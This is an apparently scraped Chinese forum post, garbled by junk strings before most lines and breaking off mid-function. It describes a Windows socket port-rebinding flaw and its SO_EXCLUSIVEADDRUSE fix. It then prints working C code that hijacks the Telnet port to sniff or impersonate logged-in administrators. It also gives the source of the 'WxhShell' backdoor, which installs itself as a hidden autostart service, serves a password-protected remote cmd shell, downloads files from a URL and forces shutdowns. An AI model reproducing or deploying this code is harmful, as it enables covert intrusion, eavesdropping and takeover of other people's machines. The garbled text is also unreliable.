在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
.lBY"W&{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
|3s&Y`x-D k4$q|x7+% saddr.sin_family = AF_INET;
KY`96~z xNm32~ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
_0*>I1F~ B-~&6D, bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
-k
<9v.: !ix<|F5 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
IOkC [([ w;EXjl;X O 这意味着什么?意味着可以进行如下的攻击:
-p.*<y Jo3(bl%u 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
unnx#e] /plUzy2Yu 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
?GNF=#=M +w.Kv
; 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
+qj*P9 H~|%vjH 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
|NU0tct^ R5eB,FN 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
_`_IUuj$E 6rQpK&Jx 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
(bx\4Ws %W4aKb?BT 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
%i-lx`U "Wk{ 4gS7l #include
[-t> G!) #include
~BvY8\@B #include
>I&
jurU# #include
q Iy^N:C2' DWORD WINAPI ClientThread(LPVOID lpParam);
N
2"3~ # int main()
J`q}Ry; {
[9O~$! <% WORD wVersionRequested;
nh eU~jb DWORD ret;
%L
j0 WSADATA wsaData;
],F}}pv BOOL val;
k&A7alw SOCKADDR_IN saddr;
=kb6xmB^t SOCKADDR_IN scaddr;
aw/7Z` int err;
vV.~76AD5 SOCKET s;
6%. SOCKET sc;
DMQNr(w{!2 int caddsize;
8b(1ut{ HANDLE mt;
Wzqb>. DWORD tid;
rMHQzQ0% wVersionRequested = MAKEWORD( 2, 2 );
?7uKP}1| err = WSAStartup( wVersionRequested, &wsaData );
)@,90Vhh if ( err != 0 ) {
1/2V.:bg printf("error!WSAStartup failed!\n");
#$=8g
RZj return -1;
H=&/ Q }
30?LsYXL62 saddr.sin_family = AF_INET;
hDljY!P>p ySQ-!fQnP //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
fJWxJSdi K3rBl!7v saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
)Ig+uDGk saddr.sin_port = htons(23);
u`Z0{d if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
zr.+'
{
nuSN)}b<Q printf("error!socket failed!\n");
Ug7`ez4vw return -1;
`z}vONXpAX }
!ww:O| 0 val = TRUE;
j /H>0^ //SO_REUSEADDR选项就是可以实现端口重绑定的
+YkW[a\4 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
i_=?eUq%q/ {
F#1 Kk#t printf("error!setsockopt failed!\n");
2f19W#
'0 return -1;
Z'Exw-ca }
xHJ8?bD p //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Q1`<fD
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>gk z4.* //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
+UK%t>E8 Q(|PZng if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
o)%-l4S {
2W3NL|P ret=GetLastError();
VYamskK[G: printf("error!bind failed!\n");
7m:|u*ij2~ return -1;
o_Jn_3= }
v/R[?H) listen(s,2);
+M'aWlPg, while(1)
rQ~ \~g[tP {
1BQ0M{& caddsize = sizeof(scaddr);
ItI0x //接受连接请求
t7w-TJvP sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
vi]r if(sc!=INVALID_SOCKET)
&8<<!#ob {
-)1-~7
r mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
qzA`d
5rX if(mt==NULL)
C8IkpAD {
R_1)mPQ^P printf("Thread Creat Failed!\n");
H2qf' break;
K8HIuQ!= }
? YF${ }
$#%U\mIz CloseHandle(mt);
[%@2o< }
4_PCqEp) closesocket(s);
pOC% oj WSACleanup();
\ Md
3 return 0;
Fe!D%p Qv }
^WE4*.( DWORD WINAPI ClientThread(LPVOID lpParam)
YD&|1h {
F9(._ow[ SOCKET ss = (SOCKET)lpParam;
T@TIzz SOCKET sc;
_om0
e=5) unsigned char buf[4096];
n*4lz^LR SOCKADDR_IN saddr;
oZTgN .q long num;
&v^!y=Bt DWORD val;
bIgh@= 2 DWORD ret;
{<qF }i:V //如果是隐藏端口应用的话,可以在此处加一些判断
.L9']zXc` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
I2f?xJ2/Z saddr.sin_family = AF_INET;
B*\$
/bk, saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
!FTNmyM~F saddr.sin_port = htons(23);
9-0<*)"b> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
G&q'#3ieC {
*YWk1Cwjo printf("error!socket failed!\n");
00ofHZ return -1;
Btj#EoSI_ }
[SVhtrx|% val = 100;
hd+]Ok7" if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9\HR60V {
sI_7U^"[ ret = GetLastError();
qv[[Q[RK-5 return -1;
$
+;+:K }
/;?M?o"H if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\(I0wEQo$ {
@q K]JK ret = GetLastError();
U{6oLqwq3Y return -1;
`@[l\.Vt: }
HBH$
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
i
AdGgK {
X) V7bVW printf("error!socket connect failed!\n");
s~*}0-lS closesocket(sc);
7kKuZW@K- closesocket(ss);
0ZMJ(C return -1;
uG!:Z6%p }
/F.Wigv while(1)
_;56^1'T {
$ a? //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
F^QQ0h]2 //如果是嗅探内容的话,可以再此处进行内容分析和记录
{~SaRB2<' //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
E<>*(x/\e num = recv(ss,buf,4096,0);
ui:= if(num>0)
!/`$AXO send(sc,buf,num,0);
VYZU eh else if(num==0)
E@-ta): break;
bLzs?eos num = recv(sc,buf,4096,0);
8WL8/ if(num>0)
+#2)kg 9_ send(ss,buf,num,0);
1B|8ZmFJj else if(num==0)
Z$p0&~ break;
bB!#:j>(v }
8)N@qUV closesocket(ss);
a5@z:i closesocket(sc);
>nzu],U return 0 ;
"w Af.=F }
oH^(qZ8W As~(7?]r w~z[wm Okp ==========================================================
k|xtrW`qo; Y34/+Fi 下边附上一个代码,,WXhSHELL
+k.%PO0np (a@?s$LG ==========================================================
rq sdE `:eU. #include "stdafx.h"
|?d#eQ9a j%L&jH6@
#include <stdio.h>
fmfTSN(Q~` #include <string.h>
K=dR%c( #include <windows.h>
`0ZZ/]
!L #include <winsock2.h>
Qck|#tc #include <winsvc.h>
u7fK1 ^O #include <urlmon.h>
:IMdN}(L 1|{bDlmt #pragma comment (lib, "Ws2_32.lib")
OoBCY-gj* #pragma comment (lib, "urlmon.lib")
nOb?-rR 7Vu ? #define MAX_USER 100 // 最大客户端连接数
qH>`}/,P #define BUF_SOCK 200 // sock buffer
"T2"]u<52 #define KEY_BUFF 255 // 输入 buffer
eujK4s :Zt2'vcGpf #define REBOOT 0 // 重启
z0%\OhuCcf #define SHUTDOWN 1 // 关机
iDoDwq!l_ #*9-d/K #define DEF_PORT 5000 // 监听端口
7I=C+ J@_ctGv #define REG_LEN 16 // 注册表键长度
%'
$o" #define SVC_LEN 80 // NT服务名长度
T f4tj!t- <q
(z>*-e // 从dll定义API
p =(@3%k typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
a(IY\q[Wh typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
*T`-|H*6@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
SJ?6{2^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
!345 %, p5\]5bb // wxhshell配置信息
WOLuw% struct WSCFG {
|TsE-t*E} int ws_port; // 监听端口
GOT1@.Y char ws_passstr[REG_LEN]; // 口令
yNg9X(U int ws_autoins; // 安装标记, 1=yes 0=no
$P z`$~ char ws_regname[REG_LEN]; // 注册表键名
,CvG 20> char ws_svcname[REG_LEN]; // 服务名
<eN_1NTH_ char ws_svcdisp[SVC_LEN]; // 服务显示名
@%/]Q<<q char ws_svcdesc[SVC_LEN]; // 服务描述信息
j}1zdA char ws_passmsg[SVC_LEN]; // 密码输入提示信息
mYxyWB int ws_downexe; // 下载执行标记, 1=yes 0=no
"{D6J809 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
|4(~%| 8{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
NTo!'p:s 3S*AxAeg };
y [#pC<^ =<}<Ny // default Wxhshell configuration
Jzkq)]M struct WSCFG wscfg={DEF_PORT,
;5_{MCPM "xuhuanlingzhe",
*\}}Bv+9 1,
mLh kI!4[ "Wxhshell",
dS2G}L^L "Wxhshell",
j;b42G~p "WxhShell Service",
p;T{i._iL "Wrsky Windows CmdShell Service",
#[{3} %b "Please Input Your Password: ",
N_eX/ux 1,
);V2?G`/ "
http://www.wrsky.com/wxhshell.exe",
S! Rc|6y% "Wxhshell.exe"
uhyj5u) };
O7d$YB_' 7hP<f}xL // 消息定义模块
({r*=wAP char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
#LlUxHv # char *msg_ws_prompt="\n\r? for help\n\r#>";
<%.5hCTp97 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
!Ucjax~ char *msg_ws_ext="\n\rExit.";
fhPkEvJ char *msg_ws_end="\n\rQuit.";
Sr?#wev]rn char *msg_ws_boot="\n\rReboot...";
qfY5Ww$8 char *msg_ws_poff="\n\rShutdown...";
cH'
iA. char *msg_ws_down="\n\rSave to ";
Q?b14]6im Fm\"{)V:b char *msg_ws_err="\n\rErr!";
2. G=8:l char *msg_ws_ok="\n\rOK!";
b-ll fmqb`% char ExeFile[MAX_PATH];
v
^[39*8 int nUser = 0;
F{06 _T HANDLE handles[MAX_USER];
sUZX
} int OsIsNt;
[^CV>RuO !oPq?lW9 SERVICE_STATUS serviceStatus;
N`iwC! SERVICE_STATUS_HANDLE hServiceStatusHandle;
PZxAH9 S? :Z`:nq.a // 函数声明
-fhN"B) int Install(void);
L`f^y;Y. int Uninstall(void);
5oEV-6 int DownloadFile(char *sURL, SOCKET wsh);
o#) {1<0vg int Boot(int flag);
}En void HideProc(void);
!+>v[(OzM int GetOsVer(void);
qm/Q65>E int Wxhshell(SOCKET wsl);
:NJ_n6E void TalkWithClient(void *cs);
pl@O
N"=[ int CmdShell(SOCKET sock);
,B?~-2cCz int StartFromService(void);
OsBo+fwT int StartWxhshell(LPSTR lpCmdLine);
vgY3L Z;9>S=w! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
^b: (jI*l VOID WINAPI NTServiceHandler( DWORD fdwControl );
;!:U((wv :w}{$v}#D; // 数据结构和表定义
T134ZXqqz SERVICE_TABLE_ENTRY DispatchTable[] =
ojYbR<jn9 {
'z76Sa {wscfg.ws_svcname, NTServiceMain},
sn7AR88M; {NULL, NULL}
|*Z$E$k: };
Lg8nj< TF *I}`dC[ // 自我安装
CYOI.#m2 int Install(void)
db'/`JeK
b {
afjtn_IB char svExeFile[MAX_PATH];
J+rCxn?;g HKEY key;
Qt_dEl strcpy(svExeFile,ExeFile);
l/;X?g5+ *8~86u GU // 如果是win9x系统,修改注册表设为自启动
(c0A.L)
if(!OsIsNt) {
;iDPn2?6?x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
pv|Pm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
R$; n)_H RegCloseKey(key);
y#}cC+; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(&/2\0QV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}VDqj}is RegCloseKey(key);
wFG3KzEq ~ return 0;
*s@Qtgu }
U
qG
.:@T }
+`3!I }
V_plq6z else {
P[s8JDqu +P.+_7+: // 如果是NT以上系统,安装为系统服务
^C2\`jLMY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
gV&z2S~" if (schSCManager!=0)
+`?Y?L^
J {
Y*mbjyt[?X SC_HANDLE schService = CreateService
pr%nbl (
hiNEJ_f schSCManager,
LC1(Xbf wscfg.ws_svcname,
7 |DHplI wscfg.ws_svcdisp,
L^Jk=8 SERVICE_ALL_ACCESS,
=zwOq(Bh W SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
~-wPP{! SERVICE_AUTO_START,
j xYc2 SERVICE_ERROR_NORMAL,
%,+leKs svExeFile,
k,euhA/& NULL,
oK 6(HF'& NULL,
f/CuE%7BR NULL,
kdGT{2u NULL,
^eW}XRI NULL
OY?y ^45y );
JN7k 2]{ if (schService!=0)
<&)v~-&O
{
@&[T _l CloseServiceHandle(schService);
Y@PI {;! CloseServiceHandle(schSCManager);
/x3/Ubmz~x strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
{Zp\^/ strcat(svExeFile,wscfg.ws_svcname);
asJ)4ema if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
L(X6-M: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
T#bu
V RegCloseKey(key);
ZvcJK4hi return 0;
LjV]0%j?r }
Web|\CH }
McPNB`.H CloseServiceHandle(schSCManager);
~c6} }
^ns@O+Fk }
ZE%YXG ~on(3|$ return 1;
b(9FZ]7S }
>}(CEzc8 J,b&XD@m // 自我卸载
!
!PYP'e int Uninstall(void)
znJ'iVf {
k}~O}~- HKEY key;
1bGopi/ %#$EP7"J if(!OsIsNt) {
zxp` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
PTj&3`v RegDeleteValue(key,wscfg.ws_regname);
2)j0Ai% RegCloseKey(key);
s3W@WH^. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{[+2n]f_G RegDeleteValue(key,wscfg.ws_regname);
Q
X%&~ RegCloseKey(key);
dDnf^7q/ return 0;
[TNj;o5J }
s: 3z'4oX }
NV#FvM/#" }
r-h#{==*c else {
.L~Nq%g1 M,ir`"s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
RQMEBsI} if (schSCManager!=0)
@^uH`mc {
8uA,iYD
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
]THPSw_y8 if (schService!=0)
Z{H5oUk {
bGorH=pb5R if(DeleteService(schService)!=0) {
Hk|0HL CloseServiceHandle(schService);
$-On~u0g CloseServiceHandle(schSCManager);
F]9nB3:W return 0;
&d'Awvy0 }
&N;-J2M CloseServiceHandle(schService);
0q&'(-{s1 }
><=gV~7lx CloseServiceHandle(schSCManager);
q{ O% | }
S(7ro]U9 }
. BiCBp< b"TjGE return 1;
lSH6>0#B }
\%p34K\ yS=oUE$ // 从指定url下载文件
6)BR+U int DownloadFile(char *sURL, SOCKET wsh)
u a\,-> {
"]-Xmdk09 HRESULT hr;
u<nLag char seps[]= "/";
,~?YBLw@c char *token;
RN@ctRS char *file;
h`3eu;5) char myURL[MAX_PATH];
=w$}m_AM char myFILE[MAX_PATH];
w}CmfR
GLGz2 ,# strcpy(myURL,sURL);
\o';"Q1H token=strtok(myURL,seps);
hI( SOsKs while(token!=NULL)
M'!U<Y
- {
[b$4Shx file=token;
LzCw+@-umw token=strtok(NULL,seps);
WQHd[2Z#e }
*OyHHq|>q T\r@5Xv GetCurrentDirectory(MAX_PATH,myFILE);
~/_SMPLo strcat(myFILE, "\\");
pa{re,O"e strcat(myFILE, file);
`~cuQ<3Tn
send(wsh,myFILE,strlen(myFILE),0);
1nu^F,M send(wsh,"...",3,0);
}@r{?8Ru hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
-J^(eog[6 if(hr==S_OK)
mLL340c#\ return 0;
1LJUr"6] else
{?`al5Sz return 1;
mJM_2Ab B7z -7&TE }
^H6<Km
l/V V=1Bo~ // 系统电源模块
r0m*5rd1 int Boot(int flag)
@}:uu$OH {
]@Sj`J[fd HANDLE hToken;
y7^{yS[, TOKEN_PRIVILEGES tkp;
[g2;N,V# `ImE% r! if(OsIsNt) {
'fL"txW OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
5MSB dO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ce6__f5? tkp.PrivilegeCount = 1;
FW.$5*f=' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
EJ`T$JD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
\Y}3cE if(flag==REBOOT) {
D?Ux[O zb if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
K'h1szW return 0;
-Qn=|2Mm? }
)P|[r else {
ti &J if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
q5L51KP2 return 0;
vaon{2/I }
W}|'#nR }
tbO
H#| else {
[7YPl9 if(flag==REBOOT) {
IMk'#) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
C4NTh}6tT return 0;
CwX Z }
v|E"[P2e else {
'u` .P:u? if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
{%#)5l) return 0;
"4%"&2L }
*]i!fzI'] }
1$*%" 5a b2@VxdFN return 1;
NuU9~gSQ }
DvM5 k 98.>e // win9x进程隐藏模块
KeNL0_Pw void HideProc(void)
sFBneBub {
1[]&(Pa 0D8K=h&e HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
v<fnB if ( hKernel != NULL )
wR{'y)$ {
wW"z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
,<:!NF9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
3 R&lqxhg FreeLibrary(hKernel);
_`#3f1F@[ }
&5L<i3BX cv/_r#vN return;
b}Zd)2G }
Wpc|`e< _{|D // 获取操作系统版本
xW[ -n int GetOsVer(void)
fQP {|+4 {
q{ /3V OSVERSIONINFO winfo;
[p=*u,- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
)Af~B'OUd GetVersionEx(&winfo);
X=C1/4wU if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
O 1oxZj
< return 1;
^_ojR4 else
?2Kt'1s# return 0;
=~I-]4 }
?<*-j4v fo4.JyBk // 客户端句柄模块
l$hJE;n int Wxhshell(SOCKET wsl)
@x/T&67k {
we#wH- SOCKET wsh;
pMs
AyCAk struct sockaddr_in client;
76vy5R(. DWORD myID;
z]3 `*/B \cLSf= while(nUser<MAX_USER)
"z<azs {
kPjd_8z2n int nSize=sizeof(client);
.Gcy>Av wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
7#<c>~
if(wsh==INVALID_SOCKET) return 1;
Uje|`<X y ?G_y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
>q7BVF6V| if(handles[nUser]==0)
VxzkQ}o closesocket(wsh);
YJ:3!B>Zo else
+ki{H}G21 nUser++;
,&4qgp{) }
<58l;<0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
{NJfNu Ix|~f1*% return 0;
'$ef+@y }
qOaQxRYm%Y 0 'Vg6E]/ // 关闭 socket
s`Cy
a` void CloseIt(SOCKET wsh)
"G:<7oTa {
%{;Qls%[t closesocket(wsh);
3zT_^;:L nUser--;
|;A/|F0-e ExitThread(0);
VzJ5.mRQ }
U4G}DCU al+ #y)+ // 客户端请求句柄
i!~'M;S void TalkWithClient(void *cs)
""svDfy$ {
s6o>m*{ M/z}p SOCKET wsh=(SOCKET)cs;
8z5# ]u; char pwd[SVC_LEN];
$0^P0RAH char cmd[KEY_BUFF];
Vpp;\ char chr[1];
^2]LV6I int i,j;
^h&I H| C>Is1i^9 while (nUser < MAX_USER) {
~ 7)A"t saD-D2oj if(wscfg.ws_passstr) {
pb0E@C/R if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1|8<H~& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
vKoP|z=m //ZeroMemory(pwd,KEY_BUFF);
S-#q~X!yJ i=0;
t4K~cK while(i<SVC_LEN) {
/#<pVgN dC}`IR // 设置超时
/=?ETth @ fd_set FdRead;
U.T|
struct timeval TimeOut;
XR0O;JN FD_ZERO(&FdRead);
UhmTr[& FD_SET(wsh,&FdRead);
q8ImrC.'^ TimeOut.tv_sec=8;
AnZclqtb TimeOut.tv_usec=0;
B}d.#G+_$x int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
bAr` E if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
D5?phyC[Z [@fz1{* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
wNE$6 pwd
=chr[0]; Y\2|x*KwvF
if(chr[0]==0xd || chr[0]==0xa) { A-CUv[pM
pwd=0;
8[ry|J
break; TCvSc\Q[:1
}
fE,9zUo
i++; ^/Sh=4=G
} CVXytS?@x
#=}$OFg
// 如果是非法用户,关闭 socket R.s|j=
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `P@- %T
} ]IJv-(
mDFlz1J,e
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %f8Qa"j
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @tRMe64
}jSj+*
while(1) { x?D/.vrOY
bl/,*Wx:4.
ZeroMemory(cmd,KEY_BUFF); e~v(eK_
l0tYG[
// 自动支持客户端 telnet标准 z(c9,3
j=0; b]gY~cbI8
while(j<KEY_BUFF) { #~qAHJ<
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f+vVR1
cmd[j]=chr[0]; 3]JZu9#
if(chr[0]==0xa || chr[0]==0xd) { zGc(Ef5`M6
cmd[j]=0; 6g>)6ux>aV
break; AY_Q""v
} o/^;@5\
j++; TJ6#P<M
} 59Sw+iZj
NHX>2-b
// 下载文件 wHsB,2H
if(strstr(cmd,"http://")) { u~Tg&0V30
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9h(IUD{8
if(DownloadFile(cmd,wsh)) #f'DEo<b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y@ F
else b~7drf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0_eQlatb
} !F!3Q4
else { [6(Iwz?
G%TL/Z40
switch(cmd[0]) { Ua*&_~7kJ
h[XGC=%
// 帮助 6xgv:,
case '?': { BQ05`nkF
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^&c$[~W
break; iz}sM>^
} 6&2LWaWMo$
// 安装 ;)!"Ty|
case 'i': { G5]1s
if(Install()) C>|@& o1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {,O`rW_eS
else aw}+'(?8]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Rk$t7ZH
break; p*;Qz
} fAj2LAK
// 卸载 :h";c"
case 'r': { <R1X\s.
if(Uninstall()) `hB1b["(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k ~6-cx
else Ri?\m!o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e-D4'lu
break; F!KV\?eM$
} I^Qx/uTKw
// 显示 wxhshell 所在路径 J me%
case 'p': { [^PCm Z6n
char svExeFile[MAX_PATH]; @Hr+/52B
strcpy(svExeFile,"\n\r"); 7S2C /f
strcat(svExeFile,ExeFile); c8'Cq7
send(wsh,svExeFile,strlen(svExeFile),0); 2DMrMmLI
break; dU;upS_-
} -4L!k'uR
// 重启 RSWcaATZN
case 'b': { @eQld\h'
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VTh$a_P>
if(Boot(REBOOT)) 5A_4\YpDR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `n-vjjG%#
else { ?=|kC*$/G
closesocket(wsh); F>Y9o-o2
ExitThread(0); ?J|4l[x
} 'm1. X-$V
break; /! ^P)yU,
} ~mILA->F
// 关机 _C+DB A
case 'd': { MguL$W&l
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aMCO"66b
if(Boot(SHUTDOWN)) j|'R$|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {},;-%xE
else { <]#o*_aFP
closesocket(wsh); -0~IY
ExitThread(0); r*cjOrvI
} W L~`u
break; 0U&dq#
} >riq98Us/
// 获取shell XNmQ?`.2'
case 's': { jEU'.RBN%
CmdShell(wsh); _p4}<pG
closesocket(wsh); 8j\d~Lw=
ExitThread(0); ujx-jIhT_
break; cCng5Nq,c
} /(%Ig,<"JC
// 退出 $Qq_qTJu?G
case 'x': { ~u/@rqF
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FP;":i RL
CloseIt(wsh); Yk>8g;<
break; {,V$*
} @P70W<<
// 离开 OJ[rj`wrW^
case 'q': { me'(lQ6^
send(wsh,msg_ws_end,strlen(msg_ws_end),0); <:cpz* G4
closesocket(wsh); 0(TvQ{
WSACleanup(); 7s]Wq6
exit(1); ]%XK)[:5_=
break; EX 9Z{xX
} W'G{K\(/
} Nu.
(viQ}
} -931'W[s,
(n=Aa;
// 提示信息 V
[4n'LcE
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FU]4oKx
} 9 }n,@@
} o4'v> b
$n*%v85
return; &l!$Sw-u;
} "z/V%ZK~f
6<76O~hNZ
// shell模块句柄 0o;~~\fq.
int CmdShell(SOCKET sock) 9%TT>2#
{ f=oeF]=I"
STARTUPINFO si; #O6
EP#B
ZeroMemory(&si,sizeof(si)); fIEw(k<*
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C@)pmSQ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rys<-i(
PROCESS_INFORMATION ProcessInfo; /d]~ly
@uI
char cmdline[]="cmd"; #`58F .
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "8_,tYAH
return 0; GXEcpc08
} 4@))OD^ x
KZi'v6
// 自身启动模式 :tlE`BIp
int StartFromService(void) @{bb'q['@
{ 5h(jeT8"
typedef struct u7(];
{ . z].:$J&
DWORD ExitStatus; \CtQ*[FmN
DWORD PebBaseAddress; ,7I},sZj
DWORD AffinityMask; /b+;:
z
